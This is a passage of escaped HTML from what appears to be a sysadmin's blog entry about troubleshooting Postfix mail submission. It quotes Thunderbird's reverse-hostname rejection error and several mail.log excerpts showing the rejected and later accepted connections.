class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;noop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A bit later I tried to send another email from TB, and it failed, TB saying:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Sending of the message failed.
An error occurred while sending mail. The mail server responded:
Client host rejected: cannot find your reverse hostname, [109.130.103.89].
Please check the message recipient “&lt;a class="reference external" href="mailto:sharifmehedi24&amp;#37;&amp;#52;&amp;#48;outlook&amp;#46;com"&gt;sharifmehedi24&lt;span&gt;&amp;#64;&lt;/span&gt;outlook&lt;span&gt;&amp;#46;&lt;/span&gt;com&lt;/a&gt;” and try again.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;And the mail.log said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;31470&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;31470&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="n"&gt;SHA256&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;31470&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;NOQUEUE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;450&lt;/span&gt; &lt;span class="mf"&gt;4.7.1&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;rejected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;sharifmehedi24&lt;/span&gt;&lt;span class="nd"&gt;@outlook&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ESMTP&lt;/span&gt; &lt;span class="n"&gt;helo&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;192.168.1.42&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;31470&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;31470&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tried several more times to send my email, and after a few attempts it
worked:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;NOQUEUE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;450&lt;/span&gt; &lt;span class="mf"&gt;4.7.1&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;rejected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;sharifmehedi24&lt;/span&gt;&lt;span class="nd"&gt;@outlook&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ESMTP&lt;/span&gt; &lt;span class="n"&gt;helo&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;192.168.1.42&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;RCPT&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;disconnect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ehlo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;starttls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;rcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;

&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtpd&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt; &lt;span class="n"&gt;TLS&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;established&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;89.103&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;109.&lt;/span&gt;&lt;span class="n"&gt;adsl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dyn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;belgacom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;109.130.103.89&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;TLSv1&lt;/span&gt;&lt;span class="mf"&gt;.3&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="n"&gt;TLS_AES_256_GCM_SHA384&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exchange&lt;/span&gt; &lt;span class="n"&gt;X25519&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PSS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2048&lt;/span&gt; &lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
